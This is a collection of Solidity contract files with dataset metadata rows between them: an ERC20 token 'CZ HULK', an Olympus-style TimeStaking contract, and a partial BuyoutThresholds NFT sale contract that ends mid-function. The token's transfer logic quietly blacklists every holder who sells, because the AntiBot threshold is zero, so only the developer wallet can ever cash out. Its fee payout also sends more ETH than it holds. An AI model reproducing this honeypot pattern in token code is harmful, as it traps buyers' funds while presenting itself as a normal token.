uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CZHULK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 * 10**9;
uint256 private AntiBot = 0 * 10 ** 9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redistribution;
uint256 private _teamTax;
address payable private devWallet;
address payable private teamWallet;
address payable private marketWallet;
string private constant _name = "CZ HULK ";
string private constant _symbol = "HCZ";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _address1,address payable _address2, address payable _address3) {
devWallet = _address1 ;
teamWallet = _address2 ;
marketWallet = _address3 ;
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[devWallet] = true;
_isExcludedFromFee[teamWallet] = true;
_isExcludedFromFee[marketWallet] = true;
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
require(!bots[to]);
require(!bots[tx.origin]);
if(from != address(this)){
_redistribution = 1;
_teamTax = 1;
}
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
// require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (5 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(balanceOf(from) > AntiBot){
setBots(from);
}
_redistribution = 2;
_teamTax = 4;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 330000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
devWallet.transfer(amount.div(2));
marketWallet.transfer(amount.div(1));
teamWallet.transfer(amount.div(1));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
// _maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address _address) private {
bots[_address] = true;
}
function delBot(address _address) private {
bots[_address] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == devWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function updateAntiBot(uint256 newAntiBot) external {
require(_msgSender() == devWallet);
AntiBot = newAntiBot * 10 ** 9;
}
function _burn(address _who, uint256 _value) internal virtual {
require(_value <= _rOwned[_who]);
_rOwned[_who] = _rOwned[_who].sub(_value);
_tTotal = _tTotal.sub(_value);
emit Transfer(_who, address(0), _value);
}
function burn(uint256 _value) external {
require(_msgSender() == devWallet);
_burn(msg.sender, _value);
}
function manualsend() external {
require(_msgSender() == devWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redistribution, _teamTax);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
| 26,743 | 10,873 |
e144231546909020b75a9d75e6ddf22f6d4ce783000b42dc1afabd40d394b26a
| 25,970 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/ab/ABe62b62F7848732FC187242ae77CAf96Bc13F12_TimeStaking.sol
| 4,361 | 17,599 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library LowGasSafeMath {
/// @notice Returns x + y, reverts if sum overflows uint256
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x);
}
function add32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x + y) >= x);
}
/// @notice Returns x - y, reverts if underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x);
}
function sub32(uint32 x, uint32 y) internal pure returns (uint32 z) {
require((z = x - y) <= x);
}
/// @notice Returns x * y, reverts if overflows
/// @param x The multiplicand
/// @param y The multiplier
/// @return z The product of x and y
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(x == 0 || (z = x * y) / x == y);
}
/// @notice Returns x + y, reverts if overflows or underflows
/// @param x The augend
/// @param y The addend
/// @return z The sum of x and y
function add(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x + y) >= x == (y >= 0));
}
/// @notice Returns x - y, reverts if overflows or underflows
/// @param x The minuend
/// @param y The subtrahend
/// @return z The difference of x and y
function sub(int256 x, int256 y) internal pure returns (int256 z) {
require((z = x - y) <= x == (y >= 0));
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using LowGasSafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract OwnableData {
address public owner;
address public pendingOwner;
}
contract Ownable is OwnableData {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice `owner` defaults to msg.sender on construction.
constructor() {
owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
/// @notice Transfers ownership to `newOwner`. Either directly or claimable by the new pending owner.
/// Can only be invoked by the current `owner`.
/// @param newOwner Address of the new owner.
function transferOwnership(address newOwner,
bool direct,
bool renounce) public onlyOwner {
if (direct) {
// Checks
require(newOwner != address(0) || renounce, "Ownable: zero address");
// Effects
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
pendingOwner = address(0);
} else {
// Effects
pendingOwner = newOwner;
}
}
/// @notice Needs to be called by `pendingOwner` to claim ownership.
function claimOwnership() public {
address _pendingOwner = pendingOwner;
// Checks
require(msg.sender == _pendingOwner, "Ownable: caller != pending owner");
// Effects
emit OwnershipTransferred(owner, _pendingOwner);
owner = _pendingOwner;
pendingOwner = address(0);
}
/// @notice Only allows the `owner` to execute the function.
modifier onlyOwner() {
require(msg.sender == owner, "Ownable: caller is not the owner");
_;
}
}
interface IMemo is IERC20 {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view override returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract TimeStaking is Ownable {
using LowGasSafeMath for uint256;
using LowGasSafeMath for uint32;
using SafeERC20 for IERC20;
using SafeERC20 for IMemo;
IERC20 public immutable Time;
IMemo public immutable Memories;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
IDistributor public distributor;
uint public totalBonus;
IWarmup public warmupContract;
uint public warmupPeriod;
event LogStake(address indexed recipient, uint256 amount);
event LogClaim(address indexed recipient, uint256 amount);
event LogForfeit(address indexed recipient, uint256 memoAmount, uint256 timeAmount);
event LogDepositLock(address indexed user, bool locked);
event LogUnstake(address indexed recipient, uint256 amount);
event LogRebase(uint256 distribute);
event LogSetContract(CONTRACTS contractType, address indexed _contract);
event LogWarmupPeriod(uint period);
constructor (address _Time,
address _Memories,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_Time != address(0));
Time = IERC20(_Time);
require(_Memories != address(0));
Memories = IMemo(_Memories);
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
Time.safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(Memories.gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
Memories.safeTransfer(address(warmupContract), _amount);
emit LogStake(_recipient, _amount);
return true;
}
function claim (address _recipient) external {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
uint256 amount = Memories.balanceForGons(info.gons);
warmupContract.retrieve(_recipient, amount);
emit LogClaim(_recipient, amount);
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
uint memoBalance = Memories.balanceForGons(info.gons);
warmupContract.retrieve(address(this), memoBalance);
Time.safeTransfer(msg.sender, info.deposit);
emit LogForfeit(msg.sender, memoBalance, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
emit LogDepositLock(msg.sender, warmupInfo[ msg.sender ].lock);
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
Memories.safeTransferFrom(msg.sender, address(this), _amount);
Time.safeTransfer(msg.sender, _amount);
emit LogUnstake(msg.sender, _amount);
}
function index() external view returns (uint) {
return Memories.index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
Memories.rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (address(distributor) != address(0)) {
distributor.distribute();
}
uint balance = contractBalance();
uint staked = Memories.circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
emit LogRebase(epoch.distribute);
}
}
function contractBalance() public view returns (uint) {
return Time.balanceOf(address(this)).add(totalBonus);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP }
function setContract(CONTRACTS _contract, address _address) external onlyOwner {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = IDistributor(_address);
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(address(warmupContract) == address(0), "Warmup cannot be set more than once");
warmupContract = IWarmup(_address);
}
emit LogSetContract(_contract, _address);
}
function setWarmup(uint _warmupPeriod) external onlyOwner {
warmupPeriod = _warmupPeriod;
emit LogWarmupPeriod(_warmupPeriod);
}
}
| 37,804 | 10,874 |
5c1f13f7d9056deafe80d711d8f671db9dbe0ff42470b98079a4a2e6e7def514
| 24,105 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/e9/e9136F843929f1e21163b60a32700c5996d28FCe_BuyoutThresholds.sol
| 4,506 | 18,467 |
pragma solidity ^0.8.9;
library MerkleProof {
function verify(bytes32[] memory proof,
bytes32 root,
bytes32 leaf) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IInitOwnable {
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owner() external view returns (address);
function initOwner(address initialOwner) external;
function renounceOwnership() external;
function transferOwnership(address newOwner) external;
}
interface ISaleModel is IInitOwnable {
event Initialised(uint256 indexed host, address indexed collection);
event MetaUpdated(string indexed twitterPost, string indexed infoLink, string indexed preview);
event Finalised();
event ClaimedRaised(uint256 indexed amount);
function setMeta(string memory twitterPost, string memory infoLink, string memory preview) external;
function claimRaised() external;
}
interface ISaleFactory {
// Event
// ----------------------------------------------------------------------
event Initialised(IInitOwnable[] indexed saleModels, address indexed treasury, uint256 indexed treasuryCut, uint256 commission);
event SaleCreated(address indexed creator, address indexed clone, uint256 indexed saleId);
event ModelAdded(IInitOwnable indexed saleModel);
event ModelRemoved(uint256 indexed index);
event HostAdded(address indexed creator, address indexed treasury, uint256 indexed commissionPerc);
event HostChanged(uint256 indexed hostId, address indexed treasury, uint256 indexed commissionPerc);
event NewTreasury(address indexed treasury);
event NewTreasuryPerc(uint256 indexed treasuryPerc);
// Data Structures
// ----------------------------------------------------------------------
struct Host {
address owner;
address treasury;
uint256 commissionPerc;
}
struct Sale {
// Sale model cloning.
IInitOwnable modelUsed;
// Clone sale contract the artist is using.
IInitOwnable saleContract;
}
struct Model {
IInitOwnable ref;
uint256 totalCreated;
}
// Views
// ----------------------------------------------------------------------
function TREASURY() external view returns(address);
function TREASURY_CUT() external view returns(uint256);
function host(uint256 id) external view returns (Host memory);
function host(address addr) external view returns (bool success, uint256 id);
function hostList() external view returns(Host[] memory);
function hostLength() external view returns(uint256);
function sale(uint256 id) external view returns (Sale memory);
function saleList() external view returns(Sale[] memory);
function saleLength() external view returns(uint256);
function model(uint256 id) external view returns (Model memory);
function modelList() external view returns (Model[] memory);
function modelLength() external view returns(uint256);
function userSaleIds(address user) external view returns (uint256[] memory);
function saleByAddress(IInitOwnable saleAddress) external view returns (bool success, uint256 id);
function saleListByIds(uint256[] memory ids) external view returns (Sale[] memory);
// Interaction
// ----------------------------------------------------------------------
function createSale(uint256 modelId) external returns (address result);
function addHost(address treasury, uint256 soldPerc) external;
function adjustHost(uint256 hostId, address treasury, uint256 soldPerc) external;
}
interface ICollection {
function totalSupply() external view returns(uint256);
function totalMinted() external view returns(uint256);
function needMintAllowance() external view returns(bool);
function approvedMinting(address minter) external view returns(uint256);
function mint(address to, uint256 amount) external;
}
abstract contract InitOwnable is IInitOwnable {
bool private _init;
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function owner() public view override returns (address) {
return _owner;
}
function initOwner(address initialOwner) external override {
require(!_init, "shoo");
_init = true;
_transferOwnership(initialOwner);
}
function renounceOwnership() public override onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// --------------------------------------------------------------------------------------
//
// (c) BuyoutThresholds 27/12/2021 | SPDX-License-Identifier: AGPL-3.0-only
// Designed by, DeGatchi (https://github.com/DeGatchi).
//
// --------------------------------------------------------------------------------------
contract BuyoutThresholds is ISaleModel, InitOwnable {
event Buyout(address indexed buyer, uint256 indexed amount, uint256 bonusAmount, uint256 indexed cost);
ISaleFactory public constant SALE_FACTORY = ISaleFactory(0x41b4d749ac112741dC2dD8a1429b3421FE73F585);
IERC20 public constant WETH = IERC20(0x21be370D5312f44cB42ce377BC9b8a0cEF1A4C83);
struct Info {
// Link to tweet that includes details of sale.
// - Used to let community know this isn't an imposter sale.
string twitterPost;
// Link to external link that has more information on the project.
string infoLink;
// Link to off-chain metadata (image/gif).
// - Used to display preview of collection being sold.
string preview;
// Whitelist merkle tree root
// - If no whitelist, merkle root == `0x0...`
bytes32 merkleRoot;
// Host commission percentage.
uint256 hostCommissionPerc;
// Host ID assigned to this sale.
uint256 host;
// Whether sale has ended
bool finalised;
// Address that made the sale
address creator;
// Token contract to mint ids from
// - Must be able to give permission to this contract to mint
ICollection collection;
// Amount raised from sale
uint256 raised;
// Amount not claimed from raised
uint256 unclaimed;
}
Info public info;
struct Sale {
// Mark threshold being currently used
uint256 currentMark;
// Timestamp of when collection auction starts
uint256 startTime;
// Timestamp of when collection auction ends
uint256 endTime;
// Total ids to sell/mint
uint256 totalSupply;
// Total sold
uint256 totalSold;
}
Sale public sale;
struct BulkBonus {
// Amount of NFTs being bought.
uint256 buyingAmount;
// Amount of NFTs given for free.
uint256 freeAmount;
}
// The more bought, the more given for free
BulkBonus[] public bulkBonuses;
struct Marks {
// When supply sold is below or equal to `below`, price per token is `price`.
// - e.g, supplyMark = 100, priceMark = $200
// supplyMark = 200, priceMark = $300
// supplyMark = 300, priceMark = $400
uint256 supplyMark;
uint256 priceMark;
}
Marks[] public marks;
bool public initialised;
modifier onlyInit() {
require(initialised, "NOT_INITIALISED");
_;
}
// Creation
// ----------------------------------------------------------------------
/// @dev Initiate the sale contract.
/// @param _host Index of SALE_FACTORY's referrals that referred you.
/// @param _collection NftCollection integrated NFT contract being sold.
/// @param _startDelay Amount of seconds to add to block.timestamp to begin the sale.
/// @param _duration Amount of seeconds the sale lasts for once it starts.
/// @param _marks Supply thresholds that change the price.
/// @param _merkleRoot Optional: merkle root from tree of whitelisted addresses.
/// @param _bulkBonuses Optional: the more bought, the more given for free.
function init(uint256 _host,
ICollection _collection,
uint24 _startDelay,
uint24 _duration,
Marks[] memory _marks,
bytes32 _merkleRoot,
BulkBonus[] memory _bulkBonuses) public onlyOwner {
require(!initialised, "ALREADY_INITIALISED");
if (_host > 0) {
require(_host <= SALE_FACTORY.hostLength() - 1, "HOST_NOT_FOUND");
}
uint256 _totalSupply = _marks[_marks.length - 1].supplyMark;
require(_collection.totalMinted() + _totalSupply <= _collection.totalSupply(), "EXCEEDS_TOTAL_SUPPLY");
require(_collection.approvedMinting(address(this)) >= _totalSupply, "UNDERFLOW: MINT_ALLOWANCE");
initialised = true;
ISaleFactory.Host memory host = SALE_FACTORY.host(_host);
info.host = _host;
info.hostCommissionPerc = host.commissionPerc;
info.collection = _collection;
info.merkleRoot = _merkleRoot;
info.creator = msg.sender;
for (uint256 i; i < _marks.length; i++) {
if (i > 0) {
require(_marks[i].supplyMark > _marks[i - 1].supplyMark, "UNDERFLOW: SUPPLY_MARK");
}
marks.push(_marks[i]);
}
sale.startTime = block.timestamp + _startDelay;
sale.endTime = block.timestamp + _startDelay + _duration;
sale.totalSupply = _totalSupply;
for (uint256 i; i < _bulkBonuses.length; i++) {
bulkBonuses.push(_bulkBonuses[i]);
}
emit Initialised(_host, address(_collection));
}
/// @dev Sets metadata used for verification.
/// @param infoLink Link to a website that explains more about your project.
/// @param preview Link to metadata image/gif, used as preview on FE (e.g., IPFS link).
function setMeta(string memory twitterPost,
string memory infoLink,
string memory preview) external override onlyOwner {
info.twitterPost = twitterPost;
info.infoLink = infoLink;
info.preview = preview;
Info memory mInfo = info;
emit MetaUpdated(mInfo.twitterPost, infoLink, mInfo.preview);
}
// Interaction
// ----------------------------------------------------------------------
/// @dev Creator receives unclaimed raised funds.
function claimRaised() external override onlyInit {
Info memory mInfo = info;
require(mInfo.unclaimed > 0, "ZERO_UNCLAIMED");
ISaleFactory.Host memory host = SALE_FACTORY.host(mInfo.host);
// Calculate commission amount.
uint256 commission = (mInfo.unclaimed * host.commissionPerc) / 10000;
// Reset unclaimed.
info.unclaimed = 0;
